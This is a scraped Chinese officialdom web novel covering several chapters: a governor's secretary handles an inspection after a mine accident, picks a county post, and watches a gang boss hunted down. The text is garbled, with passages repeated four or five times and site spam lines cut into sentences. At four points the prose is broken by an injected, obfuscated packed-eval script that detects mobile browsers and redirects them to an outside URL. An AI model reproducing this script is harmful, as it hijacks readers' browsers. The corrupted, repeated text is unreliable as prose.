看着刘大姐的仗义发言,李承心中十分感激。 “你在这乱叫什么,矿难跟你没关系,死的又不是你家人,你就是站着说话不腰疼。” 白邱赫一拍桌子,从椅子上站起身,怒道。 原本的一次询问,到这里,已然演变成了一种骂街的架势。 “后面的那些人,都是遇难者家属,让他们讲讲公道话。”这时,周安站了出来,开始主持局面。 “老李,你们说。” 刘大姐瞪了白邱赫一眼,看向身后的几人。 “矿难的发生是悲剧,但说实话,我们对政府的解决方式很满意。” “对,尤其是孟省长来了之后,几天的时间就把赔偿款就落实了,这是位好领导。” “以前矿上也死过人,那个叫李雪忠的省长,压根不管我们百姓的死活。 孟省长不一样,他是一个好官。 涉事官员不包庇,该查的就查了,该判的也都判了,赔偿款也给我们争取到了最大限度。 我们挺感谢孟省长!” 这些遇难者讲的,都是他们的真心话。 正所谓公道自在人心。 领导做出的好事,百姓也都看在眼里,他们是发自内心认可孟良德。 有了这些民众的支持,白邱赫势单力薄,也哑了火。 视察组在了解完情况后,这些人也都散了。 在****周安,和新任滨西矿业董事长的带领下,视察组又视察了一下矿上的情况。 一些都合理合规,查不出任何问题。 晚上,市政府已经定好了招待宴。 这顿饭局上,孟良德罕见地喝了酒。 通过他和郑部长的聊天,李承知道,他们属于是老相识了。 饭局结束,视察组在滨西住一宿后,还要视察封兰市的雪村。 孟良德自然没时间全程陪同,饭局结束后,便往汉江赶去。 留下了一个副省长和副秘书长等人陪同。 “今天那个大姐,是你单独叫来的吧?” 回去的路上,孟良德疲惫地揉着太阳穴,问李承。 对于刘大姐,孟良德有印象。 上一次,就是李承半夜去找的刘大姐,劝说那些遇难者家属。 “嗯,是。” 李承点了点头:“刘大姐这个人是热心肠,正义感很强,而且,她在这些工友们心里有些影响力。” “这件事做得不错,算是不幸中的万幸了。” 孟良德对于李承今天的表现,十分满意。 跟过他的秘书有很多,李承是他最满意的。 有独立解决事情的能力,有时候提出的想法,也能在关键时刻派上用场。 “这是我的本职工作。”李承说。 秘书不只要给领导端茶倒水,递文件。 帮助领导排忧解难,也是秘书的工作范畴内。 何况,李承的理想从来都不是一个秘书,他也想做一位掌权者。 既然有这个理想,就要在做秘书的时期,多累积经验,多站在省长的角度去思考问题。 “你有她家的地址吧,邮寄一些东西过去,去财务报销。”孟良德说。 今天,刘大姐的出现,是帮了他的大忙。 没有刘大姐的力挺,那种尴尬的气氛,还不知道要持续多久,要以什么样的结果来收场。 “好。” 就算孟良德不提,李承也准备自掏腰包,去感谢刘大姐的仗义出手。 但孟良德提出来了。 有单位报销记账,李承当然乐意。 能节省一笔是一笔。 上一次,就是李承半夜去找的刘大姐,劝说那些遇难者家属。 “嗯,是。” 李承点了点头:“刘大姐这个人是热心肠,正义感很强,而且,她在这些工友们心里有些影响力。” “这件事做得不错,算是不幸中的万幸了。” 孟良德对于李承今天的表现,十分满意。 跟过他的秘书有很多,李承是他最满意的。 有独立解决事情的能力,有时候提出的想法,也能在关键时刻派上用场。 “这是我的本职工作。”李承说。 秘书不只要给领导端茶倒水,递文件。 帮助领导排忧解难,也是秘书的工作范畴内。 何况,李承的理想从来都不是一个秘书,他也想做一位掌权者。 既然有这个理想,就要在做秘书的时期,多累积经验,多站在省长的角度去思考问题。 “你有她家的地址吧,邮寄一些东西过去,去财务报销。”孟良德说。 今天,刘大姐的出现,是帮了他的大忙。 没有刘大姐的力挺,那种尴尬的气氛,还不知道要持续多久,要以什么样的结果来收场。 “好。” 就算孟良德不提,李承也准备自掏腰包,去感谢刘大姐的仗义出手。 但孟良德提出来了。 有单位报销记账,李承当然乐意。 能节省一笔是一笔。 上一次,就是李承半夜去找的刘大姐,劝说那些遇难者家属。 “嗯,是。” 李承点了点头:“刘大姐这个人是热心肠,正义感很强,而且,她在这些工友们心里有些影响力。” “这件事做得不错,算是不幸中的万幸了。” 孟良德对于李承今天的表现,十分满意。 跟过他的秘书有很多,李承是他最满意的。 有独立解决事情的能力,有时候提出的想法,也能在关键时刻派上用场。 “这是我的本职工作。”李承说。 秘书不只要给领导端茶倒水,递文件。 帮助领导排忧解难,也是秘书的工作范畴内。 何况,李承的理想从来都不是一个秘书,他也想做一位掌权者。 既然有这个理想,就要在做秘书的时期,多累积经验,多站在省长的角度去思考问题。 “你有她家的地址吧,邮寄一些东西过去,去财务报销。”孟良德说。 今天,刘大姐的出现,是帮了他的大忙。 没有刘大姐的力挺,那种尴尬的气氛,还不知道要持续多久,要以什么样的结果来收场。 “好。” 就算孟良德不提,李承也准备自掏腰包,去感谢刘大姐的仗义出手。 但孟良德提出来了。 有单位报销记账,李承当然乐意。 能节省一笔是一笔。 上一次,就是李承半夜去找的刘大姐,劝说那些遇难者家属。 “嗯,是。” 李承点了点头:“刘大姐这个人是热心肠,正义感很强,而且,她在这些工友们心里有些影响力。” “这件事做得不错,算是不幸中的万幸了。” 孟良德对于李承今天的表现,十分满意。 跟过他的秘书有很多,李承是他最满意的。 有独立解决事情的能力,有时候提出的想法,也能在关键时刻派上用场。 “这是我的本职工作。”李承说。 秘书不只要给领导端茶倒水,递文件。 帮助领导排忧解难,也是秘书的工作范畴内。 何况,李承的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188639|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理想从来都不是一个秘书,他也想做一位掌权者。 既然有这个理想,就要在做秘书的时期,多累积经验,多站在省长的角度去思考问题。 “你有她家的地址吧,邮寄一些东西过去,去财务报销。”孟良德说。 今天,刘大姐的出现,是帮了他的大忙。 没有刘大姐的力挺,那种尴尬的气氛,还不知道要持续多久,要以什么样的结果来收场。 “好。” 就算孟良德不提,李承也准备自掏腰包,去感谢刘大姐的仗义出手。 但孟良德提出来了。 有单位报销记账,李承当然乐意。 能节省一笔是一笔。 上一次,就是李承半夜去找的刘大姐,劝说那些遇难者家属。 “嗯,是。” 李承点了点头:“刘大姐这个人是热心肠,正义感很强,而且,她在这些工友们心里有些影响力。” “这件事做得不错,算是不幸中的万幸了。” 孟良德对于李承今天的表现,十分满意。 跟过他的秘书有很多,李承是他最满意的。 有独立解决事情的能力,有时候提出的想法,也能在关键时刻派上用场。 “这是我的本职工作。”李承说。 秘书不只要给领导端茶倒水,递文件。 帮助领导排忧解难,也是秘书的工作范畴内。 何况,李承的理想从来都不是一个秘书,他也想做一位掌权者。 既然有这个理想,就要在做秘书的时期,多累积经验,多站在省长的角度去思考问题。 “你有她家的地址吧,邮寄一些东西过去,去财务报销。”孟良德说。 今天,刘大姐的出现,是帮了他的大忙。 没有刘大姐的力挺,那种尴尬的气氛,还不知道要持续多久,要以什么样的结果来收场。 “好。” 就算孟良德不提,李承也准备自掏腰包,去感谢刘大姐的仗义出手。 但孟良德提出来了。 有单位报销记账,李承当然乐意。 能节省一笔是一笔。 上一次,就是李承半夜去找的刘大姐,劝说那些遇难者家属。 “嗯,是。” 李承点了点头:“刘大姐这个人是热心肠,正义感很强,而且,她在这些工友们心里有些影响力。” “这件事做得不错,算是不幸中的万幸了。” 孟良德对于李承今天的表现,十分满意。 跟过他的秘书有很多,李承是他最满意的。 有独立解决事情的能力,有时候提出的想法,也能在关键时刻派上用场。 “这是我的本职工作。”李承说。 秘书不只要给领导端茶倒水,递文件。 帮助领导排忧解难,也是秘书的工作范畴内。 何况,李承的理想从来都不是一个秘书,他也想做一位掌权者。 既然有这个理想,就要在做秘书的时期,多累积经验,多站在省长的角度去思考问题。 “你有她家的地址吧,邮寄一些东西过去,去财务报销。”孟良德说。 今天,刘大姐的出现,是帮了他的大忙。 没有刘大姐的力挺,那种尴尬的气氛,还不知道要持续多久,要以什么样的结果来收场。 “好。” 就算孟良德不提,李承也准备自掏腰包,去感谢刘大姐的仗义出手。 但孟良德提出来了。 有单位报销记账,李承当然乐意。 能节省一笔是一笔。 上一次,就是李承半夜去找的刘大姐,劝说那些遇难者家属。 “嗯,是。” 李承点了点头:“刘大姐这个人是热心肠,正义感很强,而且,她在这些工友们心里有些影响力。” “这件事做得不错,算是不幸中的万幸了。” 孟良德对于李承今天的表现,十分满意。 跟过他的秘书有很多,李承是他最满意的。 有独立解决事情的能力,有时候提出的想法,也能在关键时刻派上用场。 “这是我的本职工作。”李承说。 秘书不只要给领导端茶倒水,递文件。 帮助领导排忧解难,也是秘书的工作范畴内。 何况,李承的理想从来都不是一个秘书,他也想做一位掌权者。 既然有这个理想,就要在做秘书的时期,多累积经验,多站在省长的角度去思考问题。 “你有她家的地址吧,邮寄一些东西过去,去财务报销。”孟良德说。 今天,刘大姐的出现,是帮了他的大忙。 没有刘大姐的力挺,那种尴尬的气氛,还不知道要持续多久,要以什么样的结果来收场。 “好。” 就算孟良德不提,李承也准备自掏腰包,去感谢刘大姐的仗义出手。 但孟良德提出来了。 有单位报销记账,李承当然乐意。 能节省一笔是一笔。 第277章 仕途选择 “老板您早点休息我就先回去了。” 回到迎宾馆已经是凌晨李承将孟良德送到房间门口便告辞离开。 “进来坐一会儿。”孟良德邀请道。 “好。” 这么晚了省长还能叫自己聊天李承知道是有些私事要讲。 打开房门走进客厅。 坐在沙发上的娇娇看到孟良德和李承回来立马站起身:“孟省长您回来了。” 自从沈家瑞来过迎宾馆后李承再也没在娇娇的脸上看过笑脸。 那张俊俏的脸蛋上始终愁云遍布。 “这么晚了怎么还不休息?”孟良德淡淡地问。 “我在等您。” 娇娇走到孟良德身边主动帮孟良德脱下外套。 这种动作带着些许的暧昧之意。 “省长我想跟您辞职我觉得自己不能胜任这份工作。”娇娇主动提出离开。 “有什么事情明天再说。” 孟良德摆了摆手并没有给出明确的回答。 “我” “去沏壶茶送到书房我跟小李聊会天。”娇娇还想再说什么被孟良德出言打断。 “好。” 从两个人的表情和那种气氛中李承隐约察觉到他们两个人关系已经不再是上级和下属。 尤其是娇娇看向孟良德的眼神有暧昧有不舍还有一抹心疼. 跟着孟良德的脚步李承来到了书房。 “坐。” 孟良德坐在他的位置上后示意李承坐在对面。 李承坐下等待孟良德的开口。 “恺奥医疗的CT机最近销售怎么样?你有了解吗?”孟良德点燃一根香烟 “上次推进会的效果很不错据说不少外省的医院已经跟恺奥医疗达成了合作。 但是我没有具体的再去了解过。”李承实话实说。 自从医疗推进会结束后李承也没再跟进过。 他每天的事情繁多一个企业的经营状况他也没时间跟进。 “嗯省里已经给了恺奥医疗最大的帮扶政策能不能做出成绩就看石山水自己了。” 孟良德也不会介意李承对此事的不知情。 他问起恺奥医疗也并非是关注他们的业绩只是循序渐进的话引子。 ‘咚咚咚’ 这时书房的门被敲响娇娇端着茶具走了进来。 “放着就行 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,我来吧。 李承帮她将茶具摆放在桌子上,拿起茶叶,为孟良德沏茶。 “嗯,好。 娇娇将东西都放下后,离开了书房。 孟良德的目光,一直盯在娇娇的背影上,直到她离开后,这才转回来。 “明天你联系一下石山水,以你的名义,让他给娇娇安排个稳定的工作。孟良德道。 娇娇的离开已成必然。 不仅是因为沈家瑞,还与他的个人工作情况有关。 在娇娇离开前,他打算给娇娇安排一个稳定工作,算是一份责任。 “好的老板。 李承给孟良德倒了一杯茶,也不对此事多问。 “你这段时间,有没有想好自己的去处?可以直接跟我说。孟良德问。 上次,他询问过李承,李承说全听他的安排。 但他知道,李承有自己的想法。 上次,调任回京的事情还没有确定,但今天这件事下来,基本已经定性了。 “老板,您真的要回京任职了?李承端茶壶的手僵在半空,他愣了刹那后,问。 从孟良德严肃的状态看,李承知道,该来的,逃不掉了。 “嗯。 下午孟良德跟郑部长单独聊了一会儿。 孟良德也给京城方面打去了电话。 东江省的水太深,回京任职,是对孟良德的一种保护。 也是他的无奈之举。 “我都听老板您的安排。李承说。 他不想去要职位。 尽管李承可以确定,只要他开口,孟良德都会满足。 但他不想将职位谈成交易,疏远和孟良德的关系。 “有两个岗位,我觉得都很适合你,汉江市明月新区发改委的副局长,和风林县产业园区的管委会主任,兼副县长。 孟良德端起茶杯,抿了一口茶,说。 听到这两个岗位,李承觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192778|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得心里暖暖的。 明月新区正处于快速建设阶段,发改委的副局长,管项目立项,投资,规划,实权很大。 只要明月新区建设得好,未来上升空间也很大。 而且工作岗位在汉江。 一来,距离东江省的权利核心较近。 二来,不用跟许梦分隔两地。 这大半年里,李承跟在孟良德身边也接触到了不少人脉,只要李承维护得好,又有杨兆华这位省政府秘书长的关照,前途不会差。 风林县穷 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 困县。 从短期来看,风林县副县长,远远不如明月新区发改委的副局长。 可风林县已经吃上了政策红利,只要运作得够好,风林县脱贫致富,李承的仕途也会水涨船高。 两个岗位,都是很有前途的岗位。 发改委的副局长离权利核心较近,但限制颇多,能够压李承一头的官员很多。 面临的**斗争,各方领导的施压也会多。 风林县属于山高皇帝远,管制少。 尤其孟良德给李承安排的副县长,还是产业园区的管委会主任。 这个职位,就是典型了园区土皇帝。 管项目,管钱,管企业,管土地。 而且,直接对接了风林产业园区的红利,晋升空间比发改委的副局长要大。 孟良德这两个选择,让李承心中温暖。 这两个选择,孟良德都是为了他认真考虑过的,而非随意打发。 一个在汉江,事业爱情都能顾得上。 一个在风林县,仕途成长的机会更多,面临的压力和斗争更少,有一定的决策权,限制会少,能够放开拳脚地做出一番事业。 李承越发觉得,他一直坚定不移地选择跟随孟良德,是非常正确的选择。 “领导,您为我费心了。” 李承感激地看着孟良德,他是发自内心的感激:“谢谢。” “你会是一个优秀的干部,我是在替组织考虑。” 孟良德弹了弹烟灰,继续说:“说不定,我们以后还有会继续并肩作战的机会。” 第278章 最终选择 孟良德是一个有执政执念的。 他在东江省做了很多规划很多还未执行很多还处于半程状态。 他不甘心就这么离开。 现在离开只是权衡之策未来有机会他还想再回来! “考虑一下我好提前给你运作。” 孟良德将香烟按灭在烟灰缸内说。 李承端起茶杯喝了一小口他在纠结。 两个岗位都很好。 从自身角度出发他更倾向于风林县的副县长。 可另一方面他又不舍得将许梦一个人丢在汉江。 许梦的父母虽未直说 两个人本着结婚去的也在筹划着婚姻。 异地时间久了太影响家庭的和谐。 所以李承 “我考虑好了。” 李承放下茶杯眼神从迷茫变得坚定:“领导我想去风林县!” 男人还是要以事业为重。 风林县除了要跟许梦异地之外从各个层面上讲都要胜过发改委副局长一职。 副局长还是二把手还要受到各个正局长的限制。 而且李承意识到了一点。 孟良德在回京之前撼动不了花海集团。 他走了花海集团仍然是汉江市的霸主地位。 明月新区又有很多花海集团重点项目。 到时候花海集团拿得立项李承少不了跟他们打交道。 没了孟良德的做靠山若是有一些违规操作需要李承去执行李承做还是不做? 做了自己滥用职权被拖下水。 不做李美娇通过其他方式还是可以拿到项目。 而李承则进一步地得罪了李美娇到那个时候李美娇想搞他轻轻松松。 综合考虑下李承决定原地汉江这个乱局。 “嗯其实我也建议你去风林。”孟良德对于李承的回答很满意。 李承能不能在风林县做出成绩不说但李承的选择没有让孟良德失望。 这代表李承并没有因为眼前的安稳放弃长远的规划是一个可以培养的人才。 又跟孟良德聊了一小会儿时间已经接近凌晨一点半。 李承便告辞离开。 回家的路上李承一直在思考这个决定。 他突然后知后觉地发现了一个问题! 风林县是什么地 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 方? 那是滨西市的下属县。 滨西市的****周安市长冯坤那都是孟良德的人。 周安是孟良德一手推上****一职的。 而冯坤是孟良德给保住的。 李承跟滨西的市领导班子打的交道也最多。 这不是巧合更像是孟良德的一个长久布局 ‘省长不愧是省长看来他早就想到了这些。’ 李承心中再次被孟良德的长远眼光折服住。 回到家。 李承洗漱过后钻进了被窝。 “老公” 许梦钻进李承的怀里。 她没有睡李承不回来她也睡不踏实。 李承抱住她轻轻在她的额头上吻了一口:“困了吧?” “还好。” 许梦的俏脸在李承肩膀上蹭了蹭:“你不是十一点多就进汉江了怎么回来这么晚?” “跟老板聊了会儿天。” 李承伸手在许梦滑嫩的肌肤上抚摸着。 “视察组过来有没有发生什么意外?”许梦担忧地问。 “唉那个**户截了视察组的车好在最后算是挽回了局面。” 李承沉闷地说道。 其实局面压根没有挽回。 只是把问题说清楚了而已。 白邱赫截车喊冤还是会给省里和市里造成很大的影响。 “那就好。” “我可能要调任去了一个小县城工作你怎么想?” 李承虽然已经猜到了许梦会怎么回答。 还是忍不住的再问一遍。 毕竟上次问的时候还不确定。 这回确定了。 不确定的时候 可确定的事许梦就会认真思考认真回答。 李承要的就是认真回答。 “确定下来了吗?”许梦心情一沉。 “嗯**不离十了。”李承道。 闻言许梦沉默了 过了几秒钟她说:“我陪你一起去大不了这边的工作不要了。 我去你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192779|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们那考个公务员到时候你多照顾照顾我呗。” “你舍得这么好的工作吗?省台一姐。”李承淡淡一笑问。 “舍不得但我更舍不得跟你分开。”许梦道。 “嗯。” 李承应了一声他双手环抱住许梦让她的娇 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 躯紧紧贴合在自己身上。 微微低下头,朝着许梦的红唇吻了过去。 许梦扬起下巴,迎合着李承的热吻,纤细玉手顺着李承的胸膛慢慢向下抚摸。 四十多分钟后,许梦瘫软地趴在了李承身上。 两个人紧紧抱在一起,回味着激情过后的温存。 “老公”许梦娇滴滴地呼唤着李承。 “嗯?” “我好爱你,你好棒呀”许梦翻身下去,红润的脸颊带着满足的笑意。 “那还要吗?”李承笑嘻嘻地问。 “不要了,累了,你折腾死我算了。” 许梦摆了摆手,她拿起水杯喝了一口,突然想起一件事:“老公,既然你已经要离开汉江了,天湖庄园的事情,我能不能发在我的账号里? 好多粉丝追着问呢,我都想不到什么理由回复他们了。” “嗯,等调查组离开东江的吧。” 李承想了想,也不再阻拦。 孟良德离开东江,基本是板上钉钉的事情了,李承也就没那么多顾虑了。 许梦是为了维护她自己的粉丝和形象,把真实原因发出去,也无可厚非。 “嗯,老公你真好。” 次日上午。 李承给恺奥医疗董事长石山水打去一个电话,孟良德吩咐的事情,他要第一时间执行。 ‘嘟嘟.嘟.’ 电话响了二十多秒,对方才姗姗接通。 “喂,李处长,刚才手机不在身边,才看到。” 石山水解释延迟接电话的原因。 李承是孟良德的秘书,即便有一天,孟良德不在省长的位置上任职,他们之间也有一份交情。 所以,在听说孟良德要调任回京的消息后,他对待李承仍十分客气。 “石哥,您现在不忙吧?” 第279章 抓捕 李承称呼对方为哥,这代表,这通电话讲的不是工作,而是私事。 “不忙,你说。”石山水道。 “我有件事情想拜托石哥,你们公司还招人吗?”李承问。 “招人,李老弟有什么合适的人才要推荐吗?” 既然是私事,李承也称呼他为哥,石山水也改口了一个更亲切的称呼。 “是这样,我有一个表妹在找工作,但她没有医疗方面的经验,人呢,踏实肯干。 我想着你们公司待遇比较好,有没有合适她的岗位?” 这件事,孟良德特意强调要以李承个人的名义去办,那就是要让娇娇跟孟良德划清界限。 所以,李承把娇娇描述成了自己的表妹。 既能让石山水特别关照,又不会给孟良德扯上关系。 “有呀,你这个表妹口才怎么样?”石山水问。 “口才不错,很有眼力见。” 能给省长当保姆,情商,眼力见都差不了。 “我们销售部门刚好缺个主管,底薪一万,有提成,五险一金都有,怎么样?” 销售部门的门槛最低,薪资待遇其实也不高,主要靠提成。 但这个人是李承介绍过来,石山水要给高薪资,这是人情世故。 对于石山水来说,一年十几万的支出,在整个恺奥医疗面前,不过是九牛一毛。 却能与李承结交关系,很划算。 即便不看孟良德的面子,石山水也会给李承这个面子。 毕竟,李承这位有省部级领导做背景的干部,未来发展不容小觑。 “那就麻烦石哥了,我这几天安排她去入职,到时候我联系您。” “嗯,到时候我们电话联系。” 挂断电话,李承找了一个合适单独的机会,将情况汇报给了孟良德。 孟良德对于娇娇的新岗位较为满意,却也没多说,只是点头表示他知情了。 视察组最后一站到了汉江。 在汉江视察一天,返回了京城。 待到他们离开后,孟良德将宫庆鑫和鲁林叫到了省政府。 办公室内。 “雷二利最近什么动向?”孟良德看向宫庆鑫,开口问。 “我故意向外传达了假消息,说您已经准备结案,并放松了扫黑除恶的进展,雷二利目前还没有逃跑动作。” 宫庆鑫汇报道。 他知道,单凭专案小组那几个人,根本盯不住雷二利。 但如 果扩大人手,政府准备对他采取抓捕的消息大概率会泄露。 最终,宫庆鑫选择以释放假消息的方式,让雷二利放松警惕。 “关于雷二利犯罪团伙的证据确凿,我认为,可以实施抓捕了。” 孟良德听完宫庆鑫的汇报后,将目光转向鲁林:“鲁林同志,你有什么意见吗?” “我没有意见。” 鲁林刚上任没多久,又是马洪波的人,跟花海集团没瓜葛。 铲除雷二利这种涉黑头目是他的本职工作,他支持孟良德。 “那好,你们省**厅和市**局制定一下计划,尽快抓捕归案。”孟良德严肃地道。 “好。” “好的省长。” 工作安排结束,孟良德说:“庆鑫,你回去安排吧,鲁林同志,你留一下。” 宫庆鑫离开后,孟良德端起水杯喝了一口。 “下周一**会,我准备提议让你担任副省长,等下我再跟老马打个招呼。”孟良德道。 “谢谢孟省长提携。” 鲁林脸上流露出喜悦的笑容。 他心里一直还在担忧,怕孟良德回京城任职后,徐铁生接替孟良德的位置,那样,他就跟副省长一职无缘了。 可今天,孟良德的一番话,让他心中的担忧烟消云散。 孟良德和马洪波如果达成一致,就可以拿到省委**会议的绝对票权,他提副省基本是稳了。 而孟良德再回京城之前,选择提拔鲁林,既是卖他们一个人情。 也是出于组织稳定考虑。 孟良德一旦离开,三家鼎立的局面发生改变,本地派会再次拿到优势,这对东江省的发展方向,都会存在连锁反应。 “但是你得拿出一个成绩来,让我和老马有一个推你上去的理由,让**们信服你。 这次扫黑除恶就是一个机会,把握住。” 孟良德在激励鲁林的同时,也是在给他施加压力。 让鲁林在对待抓捕雷二利的问题上,全力以赴,尽心尽力。 “我明白。” 在省**厅长鲁林的亲自指挥下,一场对汉江最大涉黑团伙头目的抓捕行动就此展开。 但在抓捕过程中,情报被泄露了出去。 警方对雷二利的地下赌场进行了围剿抓捕行动,还出动了特警力量。 但当他们冲进地下赌场后,雷二利已经通过暗道,进行了逃跑。 雷二利为人谨慎,这个暗道,就连谢志强都不清楚。 所以,警方并没有提前布防。 雷二利顺利逃脱警方的包围圈。 但对此,**厅已经做出了他逃跑的准备,为了抓捕雷二利,警方制定了多个计划。 雷二利这次逃跑较为匆忙,在全城封锁,天网排查下,雷二利的行踪很快发现。 但为了防止雷二利做出什么危害公共安全的事情,警方特意放他逃出了城区。 在多方联动下,将雷二利堵截在国道之上。 雷二利进行了殊死反抗,想要靠汽车闯过关卡,但四个轮子在闯过穿刺路障时,全部爆胎。 汽车也失控跌到了两侧沟渠中。 雷二利能在这条江湖上混得风生水起,他身上带着一抹狠劲儿和决绝。 他不仅对别人狠,对自己也足够狠。 在知道不可能逃脱后,他拿出了他的私藏**,选择了以自尽的方式,结束他的一生。 对于警方来说,没能抓到活口,这是非常遗憾的一件事。 但对于雷二利和他背后势力,以及身边人来说,这是一个非常明确的选择。 雷二利死后,警方开始对他的住所进行搜查,并破译了他的手机。 对雷二利的涉黑团伙其余人,进行了一次大规模的清洗活动! 扫黑的风暴,席卷了整个汉江,雷二利死后,压抑许久的大规模清算,正式开始! 所以,警方并没有提前布防。 雷二利顺利逃脱警方的包围圈。 但对此,**厅已经做出了他逃跑的准备,为了抓捕雷二利,警方制定了多个计划。 雷二利这次逃跑较为匆忙,在全城封锁,天网排查下,雷二利的行踪很快发现。 但为了防止雷二利做出什么危害公共安全的事情,警方特意放他逃出了城区。 在多方联动下,将雷二利堵截在国道之上。 雷二利进行了殊死反抗,想要靠汽车闯过关卡,但四个轮子在闯过穿刺路障时,全部爆胎。 汽车也失控跌到了两侧沟渠中。 雷二利能在这条江湖上混得风生水起,他身上带着一抹狠劲儿和决绝。 他不仅对别人狠,对自己也足够狠。 在知道不可能逃脱后,他拿出了他的私藏**,选择了以自尽的方式,结束他的一生。 对于警方来说,没能抓到活口,这是非常遗憾的一件事。 但对于雷二利和他背后势力,以及身边人来说,这是一个非常明确的选择。 雷二利死后,警方开始对他的住所进行搜查,并破译了他的手机。 对雷二利的涉黑团伙其余人,进行了一次大规模的清洗活动! 扫黑的风暴,席卷了整个汉江,雷二利死后,压抑许久的大规模清算,正式开始! 所以,警方并没有提前布防。 雷二利顺利逃脱警方的包围圈。 但对此,**厅已经做出了他逃跑的准备,为了抓捕雷二利,警方制定了多个计划。 雷二利这次逃跑较为匆忙,在全城封锁,天网排查下,雷二利的行踪很快发现。 但为了防止雷二利做出什么危害公共安全的事情,警方特意放他逃出了城区。 在多方联动下,将雷二利堵截在国道之上。 雷二利进行了殊死反抗,想要靠汽车闯过关卡,但四个轮子在闯过穿刺路障时,全部爆胎。 汽车也失控跌到了两侧沟渠中。 雷二利能在这条江湖上混得风生水起,他身上带着一抹狠劲儿和决绝。 他不仅对别人狠,对自己也足够狠。 在知道不可能逃脱后,他拿出了他的私藏**,选择了以自尽的方式,结束他的一生。 对于警方来说,没能抓到活口,这是非常遗憾的一件事。 但对于雷二利和他背后势力,以及身边人来说,这是一个非常明确的选择。 雷二利死后,警方开始对他的住所进行搜查,并破译了他的手机。 对雷二利的涉黑团伙其余人,进行了一次大规模的清洗活动! 扫黑的风暴,席卷了整个汉江,雷二利死后,压抑许久的大规模清算,正式开始! 所以,警方并没有提前布防。 雷二利顺利逃脱警方的包围圈。 但对此,**厅已经做出了他逃跑的准备,为了抓捕雷二利,警方制定了多个计划。 雷二利这次逃跑较为匆忙,在全城封锁,天网排查下,雷二利的行踪很快发现。 但为了防止雷二利做出什么危害公共安全的事情,警方特意放他逃出了城区。 在多方联动下,将雷二利堵截在国道之上。 雷二利进行了殊死反抗,想要靠汽车闯过关卡,但四个轮子在闯过穿刺路障时,全部爆胎。 汽车也失控跌到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192780|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两侧沟渠中。 雷二利能在这条江湖上混得风生水起,他身上带着一抹狠劲儿和决绝。 他不仅对别人狠,对自己也足够狠。 在知道不可能逃脱后,他拿出了他的私藏**,选择了以自尽的方式,结束他的一生。 对于警方来说,没能抓到活口,这是非常遗憾的一件事。 但对于雷二利和他背后势力,以及身边人来说,这是一个非常明确的选择。 雷二利死后,警方开始对他的住所进行搜查,并破译了他的手机。 对雷二利的涉黑团伙其余人,进行了一次大规模的清洗活动! 扫黑的风暴,席卷了整个汉江,雷二利死后,压抑许久的大规模清算,正式开始! 所以,警方并没有提前布防。 雷二利顺利逃脱警方的包围圈。 但对此,**厅已经做出了他逃跑的准备,为了抓捕雷二利,警方制定了多个计划。 雷二利这次逃跑较为匆忙,在全城封锁,天网排查下,雷二利的行踪很快发现。 但为了防止雷二利做出什么危害公共安全的事情,警方特意放他逃出了城区。 在多方联动下,将雷二利堵截在国道之上。 雷二利进行了殊死反抗,想要靠汽车闯过关卡,但四个轮子在闯过穿刺路障时,全部爆胎。 汽车也失控跌到了两侧沟渠中。 雷二利能在这条江湖上混得风生水起,他身上带着一抹狠劲儿和决绝。 他不仅对别人狠,对自己也足够狠。 在知道不可能逃脱后,他拿出了他的私藏**,选择了以自尽的方式,结束他的一生。 对于警方来说,没能抓到活口,这是非常遗憾的一件事。 但对于雷二利和他背后势力,以及身边人来说,这是一个非常明确的选择。 雷二利死后,警方开始对他的住所进行搜查,并破译了他的手机。 对雷二利的涉黑团伙其余人,进行了一次大规模的清洗活动! 扫黑的风暴,席卷了整个汉江,雷二利死后,压抑许久的大规模清算,正式开始! 所以,警方并没有提前布防。 